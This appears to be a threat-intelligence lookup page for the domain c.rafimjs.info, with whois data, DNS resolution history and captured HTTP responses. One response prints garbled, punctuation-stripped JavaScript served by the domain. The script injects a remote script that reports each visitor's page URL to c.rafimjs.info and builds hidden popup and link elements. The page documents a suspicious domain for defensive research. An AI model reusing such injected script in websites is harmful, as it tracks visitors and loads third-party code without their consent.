Domain > c.rafimjs.info

More information on this domain is in AlienVault OTX

Whois

Property	Value
Name	WhoisGuard Protected
Organization	WhoisGuard, Inc.
Email	792969da0f6e4d028490ddcbe71d6c65.protect@whoisguard.com
Address	P.O. Box 0823-03411
Zip Code	00000
City	Panama
State	Panama
Country	PA
Phone	+507.8365503
Fax	+51.17057182
NameServer	ns-731.awsdns-27.net
Created	2015-10-21 13:31:25
Changed	2015-10-21 13:32:29
Expires	2016-10-21 13:31:25
Registrar	NameCheap, Inc (R600

DNS Resolutions

Date	IP Address
2015-11-21	198.7.58.219 (ClassC)
2016-01-07	198.7.59.27 (ClassC)
2016-01-22	198.7.58.88 (ClassC)
2016-02-03	198.7.62.85 (ClassC)
2016-02-06	108.59.10.11 (ClassC)
2016-03-17	198.7.59.22 (ClassC)
2025-04-29	175.110.113.177 (ClassC)
2025-12-29	172.67.191.82 (ClassC)
2026-02-08	104.21.20.41 (ClassC)

HTTP/1.1 200 OKServer: nginx/1.26.1Date: Sat, 26 Apr 2025 20:10:04 GMTContent-Type: application/javascriptTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingVary: Accept-EncodingX-Po

/*Domain is for sale: fawtuowo@gmail.com*/(function() {	use strict;		if (windowshbNetLoaded) return;	windowshbNetLoaded  true;		/**/		var isTopLayer  false;	var popupHtml  article idshbNetPaddingWr classshbNetPopupWr styledisplay:none;> table idshbNetPaddingTable classshbNetPopupTable styledisplay:none; width100% height100% cellspacing� cellpadding�> tr styleackground:none;> td idshbNetPopupCell classshbNetPopupCell> div idshbNetPaddingPopup classshbNetPopup> div> div stylepadding:15px 0 0 0;> div> div styledisplay:inline-block; width:16%; padding:0 0 5px; vertical-align:top; data-typeapi data-custom\ data-a1> div stylemax-width:95%;> a hrefhttps://sitemapcouldnotberead.com/ target\_blank stylecolor:#737373; font-size:11px; font-weight:bold; text-transform:capitalize;>Sitemap Could Not Be Read/a> /div> div stylemax-width:95%;> span stylecolor:#9a9a9a; font-size:12px;>sitemapcouldnotberead.com/span> /div> /div> /div> div styleclear:both;>/div> /div> /div> /div> /td> /tr> /table> /article>;	var bottomHtml  span stylefont-size:10px; line-height:20px;>/span>;	var popupCreated  false;		var bottomPopup  false || /?&test1/.test(location.href);		//officeLog(bottomHtml);		try {		tryLoadPage();	} catch (err) {		console.log(err);	}		function tryLoadPage() {		var script  document.createElement(script);		script.src  //c.rafimjs.info/page.php?url + encodeURIComponent(location.href);		(document.body || document.head).appendChild(script);	}	function onReady() {		tryCreatePopup(2);				var box  create(div);		append(box, document.body);				var defaultStyles  {			width: 1px,			height: 1px,			background: transparent,			display: inline-block,			margin: 2px,			padding: 0,			verticalAlign: bottom,			border: none		};				var a  create(a);		css(a, defaultStyles);				document.addEventListener(keydown, function(e) {			if (e.keyCode  192 && e.ctrlKey) {				css(a, {					width: 20px,					height: 20px,					background: #fff,					border: 1px solid red				});			}		});				document.addEventListener(keyup, function(e) {			css(a, defaultStyles);		});

Port 443

HTTP/1.1 200 OKServer: nginx/1.26.1Date: Sat, 26 Apr 2025 20:10:05 GMTContent-Type: application/javascriptTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingVary: Accept-EncodingX-Po

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > c.rafimjs.info

Is this malicious?

Whois

DNS Resolutions

Port 80

Port 443